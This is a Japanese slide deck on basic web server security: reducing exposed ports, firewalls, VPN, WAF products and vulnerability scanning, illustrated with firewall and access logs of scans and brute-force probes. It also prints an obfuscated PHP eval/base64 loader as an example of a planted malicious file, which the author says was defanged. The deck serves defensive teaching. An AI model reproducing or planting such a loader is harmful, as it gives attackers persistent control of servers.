WEBサーバ

これだけはやっとく

セキュリティ対策

杉本  瑞世

Directorz

[インフラエンジニア 兼ホスティング事業部 事業部長]

セキュリティ対策

サーバ移転のいろは

セキュリティの話題

多くないですか?

セキュリティポリシーシートを

ご記入ください

脆弱性大丈夫ですか?

セキュリティどうなってますか?

こういう画面

見たことありますか?

ゾっとしますね

FWのログ

Dec  8  04:50:05  src=51.158.23.128    PROTO=TCP  SPT=40716  DPT=47374   SYN   
Dec  8  04:50:06  src=5.188.86.50      PROTO=TCP  SPT=43621  DPT=53100   SYN   
Dec  8  04:50:06  src=176.119.4.7      PROTO=TCP  SPT=46017  DPT=50290   SYN   
Dec  8  04:50:06  src=89.248.168.51    PROTO=UDP  SPT=40557  DPT=4843    SYN
Dec  8  04:50:06  src=5.188.86.59      PROTO=TCP  SPT=44120  DPT=60192   SYN   
Dec  8  04:50:06  src=5.188.86.58      PROTO=TCP  SPT=44071  DPT=59130   SYN   
Dec  8  04:50:06  src=5.188.86.62      PROTO=TCP  SPT=44021  DPT=7992    SYN   
Dec  8  04:50:07  src=5.8.18.58        PROTO=TCP  SPT=55084  DPT=64278   SYN   
Dec  8  04:50:07  src=5.8.18.63        PROTO=TCP  SPT=55350  DPT=33870   SYN   
Dec  8  04:50:07  src=205.205.150.14   PROTO=TCP  SPT=53943  DPT=81      SYN   
Dec  8  04:50:07  src=14.135.120.14    PROTO=TCP  SPT=51086  DPT=81      SYN   
Dec  8  04:50:07  src=176.119.4.53     PROTO=TCP  SPT=58452  DPT=5118    SYN   
Dec  8  04:50:07  src=205.205.150.14   PROTO=TCP  SPT=60681  DPT=8080    SYN   
Dec  8  04:50:07  src=14.135.120.14    PROTO=TCP  SPT=58385  DPT=8080    SYN   
Dec  8  04:50:07  src=118.34.232.233   PROTO=TCP  SPT=46221  DPT=5555    SYN   
Dec  8  04:50:08  src=5.188.10.156     PROTO=TCP  SPT=43887  DPT=22     SYN    
Dec  8  04:50:09  src=5.188.10.156     PROTO=TCP  SPT=36422  DPT=22     SYN    
Dec  8  04:50:10  src=5.188.10.156     PROTO=TCP  SPT=34829  DPT=22     SYN    
Dec  8  04:50:11  src=5.188.10.156     PROTO=TCP  SPT=34853  DPT=22     SYN    
Dec  8  04:50:12  src=5.188.10.156     PROTO=TCP  SPT=43887  DPT=22     SYN    
Dec  8  04:50:13  src=5.188.10.156     PROTO=TCP  SPT=36422  DPT=22     SYN    
Dec  8  04:50:14  src=5.188.10.156     PROTO=TCP  SPT=34829  DPT=22     SYN    
Dec  8  04:50:15  src=5.188.10.156     PROTO=TCP  SPT=34853  DPT=22     SYN    
Dec  8  04:50:16  src=5.188.10.156     PROTO=TCP  SPT=36422  DPT=22     SYN    
Dec  8  04:50:17  src=5.188.10.156     PROTO=TCP  SPT=34829  DPT=22     SYN    
Dec  8  04:50:17  src=5.188.10.156     PROTO=TCP  SPT=43887  DPT=22     SYN    
Dec  8  04:50:18  src=5.188.10.156     PROTO=TCP  SPT=34853  DPT=22     SYN    
Dec  8  04:50:18  src=51.158.23.84     PROTO=TCP  SPT=48012  DPT=29863   SYN   
Dec  8  04:50:18  src=5.188.10.156     PROTO=TCP  SPT=43887  DPT=22     SYN    
Dec  8  04:50:19  src=5.188.10.156     PROTO=TCP  SPT=36422  DPT=22     SYN    
Dec  8  04:50:20  src=5.188.10.156     PROTO=TCP  SPT=34829  DPT=22     SYN    
Dec  8  04:50:21  src=5.188.10.156     PROTO=TCP  SPT=34853  DPT=22     SYN    
Dec  8  04:50:21  src=163.172.206.237  PROTO=TCP  SPT=46033  DPT=24808   SYN   
Dec  8  04:50:21  src=217.197.255.242  PROTO=TCP  SPT=51872  DPT=445     SYN   
Dec  8  04:50:22  src=95.53.188.128    PROTO=TCP  SPT=60420  DPT=23      SYN   
Dec  8  04:50:22  src=132.232.105.101  PROTO=TCP  SPT=8317   DPT=2323    SYN   
Dec  8  04:50:23  src=173.236.14.244   PROTO=TCP  SPT=55300  DPT=445     SYN   
Dec  8  04:50:24  src=5.8.18.58        PROTO=TCP  SPT=55084  DPT=64381   SYN   
Dec  8  04:50:24  src=5.8.18.66        PROTO=TCP  SPT=55464  DPT=34881   SYN   
Dec  8  04:50:25  src=176.119.7.10     PROTO=TCP  SPT=46956  DPT=50390   SYN   
Dec  8  04:50:25  src=5.188.86.55      PROTO=TCP  SPT=43867  DPT=58068   SYN   
Dec  8  04:50:25  src=5.8.18.62        PROTO=TCP  SPT=55294  DPT=32886   SYN   
Dec  8  04:50:26  src=51.158.23.139    PROTO=TCP  SPT=40816  DPT=49238   SYN   
Dec  8  04:50:27  src=176.119.7.10     PROTO=TCP  SPT=46956  DPT=50390   SYN   
Dec  8  04:50:28  src=176.119.7.10     PROTO=TCP  SPT=46956  DPT=50390   SYN   
Dec  8  04:50:29  src=5.8.18.56        PROTO=TCP  SPT=54828  DPT=62305   SYN   
Dec  8  04:50:30  src=5.8.18.62        PROTO=TCP  SPT=55294  DPT=32886   SYN   
Dec  8  04:50:31  src=51.158.23.122    PROTO=TCP  SPT=55548  DPT=40247   SYN   
Dec  8  04:50:31  src=79.174.130.106   PROTO=TCP  SPT=443    DPT=50330   ACK SYN
Dec  8  04:50:31  src=51.158.23.98     PROTO=TCP  SPT=55626  DPT=41238   SYN   
Dec  8  04:50:32  src=51.158.23.111    PROTO=TCP  SPT=55295  DPT=36332   SYN   
Dec  8  04:50:33  src=176.119.7.22     PROTO=TCP  SPT=43897  DPT=48288   SYN   
Dec  8  04:50:34  src=5.140.251.133    PROTO=TCP  SPT=2194   DPT=37215   SYN   
Dec  8  04:50:35  src=205.205.150.14   PROTO=TCP  SPT=51809  DPT=21      SYN   
Dec  8  04:50:35  src=14.135.120.14    PROTO=TCP  SPT=57778  DPT=21      SYN   
Dec  8  04:50:36  src=176.119.7.86     PROTO=TCP  SPT=55711  DPT=19677   SYN   
Dec  8  04:50:37  src=185.176.26.15    PROTO=TCP  SPT=46453  DPT=30007   SYN   
Dec  8  04:50:38  src=195.231.10.7     PROTO=TCP  SPT=50606  DPT=81      SYN   
Dec  8  04:50:39  src=185.254.123.114  PROTO=TCP  SPT=43288  DPT=6000    SYN   
Dec  8  04:50:41  src=176.119.7.86     PROTO=TCP  SPT=55711  DPT=19677   SYN   
Dec  8  04:50:42  src=5.8.18.55        PROTO=TCP  SPT=54767  DPT=61374   SYN   
Dec  8  04:50:43  src=51.158.23.114    PROTO=TCP  SPT=55364  DPT=37332   SYN   
Dec  8  04:50:43  src=51.158.23.128    PROTO=TCP  SPT=40716  DPT=47374   SYN   
Dec  8  04:50:44  src=78.170.59.132    PROTO=TCP  SPT=38927  DPT=23      SYN   
Dec  8  04:50:45  src=5.8.18.58        PROTO=TCP  SPT=55084  DPT=64381   SYN   
Dec  8  04:50:46  src=5.8.18.66        PROTO=TCP  SPT=55464  DPT=34886   SYN   
Dec  8  04:50:46  src=179.125.16.5     PROTO=TCP  SPT=52065  DPT=445     SYN   
Dec  8  04:50:47  src=51.158.23.99     PROTO=TCP  SPT=55693  DPT=42391   SYN   
Dec  8  04:50:47  src=185.254.123.103  PROTO=TCP  SPT=34389  DPT=8545    SYN   
Dec  8  04:50:48  src=5.188.86.59      PROTO=TCP  SPT=44120  DPT=60192   SYN   
Dec  8  04:50:49  src=139.162.65.76    PROTO=TCP  SPT=46063  DPT=102     SYN 
134.249.50.185 - - [21/Aug/2018:09:31:01]  "GET /wp-includes/wlwmanifest.xml           
134.249.50.185 - - [21/Aug/2018:09:31:01]  "GET /xmlrpc.php?rsd                        
134.249.50.185 - - [21/Aug/2018:09:31:04]  "GET /blog/wp-includes/wlwmanifest.xml      
134.249.50.185 - - [21/Aug/2018:09:31:06]  "GET /wordpress/wp-includes/wlwmanifest.xml 
93.179.68.37 - - [22/Aug/2018:11:21:44] "GET /robots.txt                               
93.179.68.37 - - [22/Aug/2018:11:21:45] "POST /xmlrpc.php?rsd                           
93.179.68.37 - - [22/Aug/2018:11:21:46] "GET /blog/robots.txt                          
93.179.68.37 - - [22/Aug/2018:11:21:47] "GET /blog/                                    
93.179.68.37 - - [22/Aug/2018:11:21:48] "GET /wordpress/                               
93.179.68.37 - - [22/Aug/2018:11:21:49] "GET /wp/                                      
117.50.57.173 - - [28/Sep/2018:09:42:51] "GET /phpMyAdmin/scripts/setup.php  
117.50.57.173 - - [28/Sep/2018:09:42:51] "GET /scripts/setup.php             
117.50.57.173 - - [28/Sep/2018:09:42:51] "GET /pma/scripts/setup.php         
117.50.57.173 - - [28/Sep/2018:09:42:52] "GET /xmlrpc.php                    
120.79.253.19 - - [29/Sep/2018:03:42:01] "GET /phpMyAdmin/scripts/setup.php  
120.79.253.19 - - [29/Sep/2018:03:42:02] "GET /scripts/setup.php             
120.79.253.19 - - [29/Sep/2018:03:42:03] "GET /pma/scripts/setup.php         
120.79.253.19 - - [29/Sep/2018:03:42:07] "GET /xmlrpc.php                    

WEBアクセスログ

<?php // This file is protected by copyright law &
 provided under license. Copyright(C) 2005-2009 www.vidun.com, All rights reserved.

$OOO0O0O00=__FILE__;$OOO000000=urldecode
('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');
$OO00O0000=45936;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';
eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PM
DAwMDAwezE4fS4kT0wxMjYyKTskT08wME8wME8wPSgkT09PMDAwME8wKCwxMjYyKTskT08wME8wME8wP
9PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME
8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMD
AwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH
0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9Oy
RPTzBPTzAwME8oJE8wMDBPME8wMCwxMjYyKTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTz
AoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ29OcEtUODk0MmpMWE9jQXlobmk1WUJEV0liNnRlZk
ZtYTFHc2tSWis3bDNySDBRcVVDZFNNdXhFVi9nendKdlA9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVl
dYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME
8wKTs=')));return;?>
jTJyOKNyOKNyOKuSf4jmeZBUt98sbia+WuJ9iYC8Wuw+Xp2+2GVk5MJyOTwU5SoUXG2+2GU7jTJy5SoU
OKNyOpak5MwU5MwUOTwULpny5SNy5SoUOTw7jTwUOKNyOTwUOpUk5MwUOTwUOKoULiU+tM/UiuhVA5hd
6kCI5xcNFD1Q65BbhknWiD2xf9BZnZu1OYfS6uj6LSfHOEj2O88CBYckYMuuFTBDXxfgfMlxYKM+XpfN
hkcTnYb4iTRLiMCc5kJhYBj5B8BDBu1bDZ8GIxnRbZf76Dlrt9uQtENCe+cMfWbEF4RgOKTdOShucseV
AiHqjdklLikzbZcHtEcRLpnyOKoU5SNyOKolAxBxIDU7jTJyOKNyOKNyOpkzKh7kIDn06DVayiN1e+j1
FialAUMLj98ktDRQDdfs69Bs6dff2KMaf4jub5HcpGn1b9ultRH+e98Sedff2poJ2pfZc9IUcs1RcS8a
RO9hVcxjZO98kc58Rcs2Cc98GAKnRAiezKh7kIDn06D/tjxcqtx0lbWNdbiff2KMajdezKh7kIDn06D/
tjxcqtx0lbDnqtD8ltGff2KMajdezKh7kIDn06D/tjxcqtx0lbWN1f9a+WioJ2peqjSHcpGn1b9ultRH
+IxJq6xRRt9RZbiff2KMaAKIMOKozKhlRfZ8HL9fg6D/Zt98Mbi1GIWcRcsnmb9BstxnRLpeEIsO/bK8
gD9c5nKncOERyXSnZi8bMfWb0O+7Uh+f7LM8WFB8jhYc5tMBNhY8rhRc9iYIULEBAO5nVi9hqB+2/D9f
ynD8hc415tZjhbYcZDkYVfBf6n4B55TaqiBkCfYJO5BfWe9nrAWRWcKj0ORcyDs1bXuj4bkf0Dsc85ub
MBskqfKRkn9njBYbbYM0Yi82EOSfBeRbuOxjMOsbkbWbWb9bUAW2CXENyFsjxiKf3b8buDZckfZ8ODKf
3eMwUnxCBOs2uADcC5T8/AWeqnWoqOTTSIxlU5WNbeRlIeiJ7h+niADHVhuNkfu8/eZjT6uNRt5jxc8f
ieEkVcBl2IZbRA5b7nxC+e8jRBsbnODj7DKjdnkJlbpJ9i8c3BDcLe4B9LENxFZCsOs8MI5jNiDJZnYf
df987ORcMcxc7F8OEhBNEOsOScsNKckBdtKbx5T0BeBf5FZBb68N1fYjW5sbSOMbHbD11iMC/F4nOhSw
8MekeSIEj0O4bdA41xFs1A5W8HF5N8nZRCXEc2DBn/f9bGBZhrfkJNADchXM8g5+86t4jBf8f/D+8V6D
C1tEfdDK8pIDlnhxCye581f+lh6ZnsfsRjIxnyfR86YE1DIsfbeiH/BG0Vtx2UIWTSf8B9cxfRtKoq6k
udcsRZD9UCIWndhYhCF+fu6SfOB9BYc+YSOsc4cun5LuBrOY0/ikfNO87UekC5b9lMfWfNI+8lO5RqbD
VdtRfMXM/DY4I/cZu2nEjHF9jNe+j1t9bWOWl5OxJWb8eSO90TbMbEbYJ2ORcM6KTqA4fqYDJQcDjUek
/KbDOd6BIuLMn2b+jBADc96RlKIZnUDRc3eRRZnujkYY0qBEj9cYn0BW14txuBhuIM

こんなファイルを置かれます

※↑コピペしても実行されないよう修正してあります

こうなります

インターネットに公開する

ということは

それぞれの役割と

インターネット

ユーザ

サーバ

DBアクセス

MySQL, PostgreSQL

Redis, RDS

ユーザ

サーバ

Applicationアクセス

php-fpm, Rails

Node.js

管理者

サーバ

管理・操作アクセス

SSH, SCP,FTP

 VNC,管理コンソール

必要ではありますが制限したい!

制限しようと思ったら

  • インターネットに接続しないような
    ネットワーク設計にする
  • FWで制限する
     → iptables, WinFW (OS機能)
     → セキュリティグループ等(クラウド)
  • VPN (管理アクセスに使える)
  • パスワードは二要素認証いいよ!

ユーザ

サーバ

WEBアクセス

http://aaaaa.com

https://bbbbb.net

WAF

WebApplicationFirewall

Webアプリケーションへの攻撃からWebサイトを保護するセキュリティ対策。Webサーバーの前段に設置して通信を解析・検査し、攻撃からWebサイトを保護し

不正ログインを防ぐ。

ただ、設定がムズい

そして、費用が。。

Scutum

SiteGuard

  • ホスト型(サーバにインストールする)の老舗
  • 初20万/月10万×OS数程度の料金  
  • 細かい設定も可能
  • SaaS型WAFの老舗
  • 初20万/月15万程度  (50Mbps)
  • トラフィック量によって大きな差

>注< 各価格は参考です! 正しくは公式ページをご参照ください

CLOUD ARMOR (β)

AWS WAF

  • CloudFront or ALBの使用を前提
  • 設定は0から自分でしなければならない
  • が、CloudFormationにテンプレートがあるので
    そこから編集していくのが便利!
  • まだベータ版
  • 出来る設定も少ない
  • 実績も少ない    

いくつかOpenSourceも

  • ModSecurity (Apacheのモジュールとして使う)
  • Naxsi (nginxと併せて使う)
  • WebKnight (Windows IIS用)
  • Shadow Daemon

いずれもサーバエンジニアのチカラが必要です

頼ってください

脆弱性診断

VADDY

https://vaddy.net/ja/

簡易なら 月$600

SiteLock

  • どちらも出来ることに大きな差はない
  • 完全クラウドサービス → WEBでポチポチ
  • 簡易プランなら、WAF導入よりお安い

>注< 各価格は参考です! 正しくは公式ページをご参照ください

OWASP ZAP

  • MacもWindowsもLinuxでも動かせる
  • 無料
  • 結果がhtml, xmlで出る → 顧客にそのまま提示しやすい
  • 情報が多いのでググればなんとかなる

> 注意 <

脆弱性診断 = 疑似攻撃です

診断前に必ず許可をとりましょう

管理サイト以外に実行しては

ダメ。ゼッタイ。

まとめ

  • どうしても必要な通信以外閉じる

  • WAFの導入を検討する

  • 最低限の脆弱性診断はしておく

ありがとうございました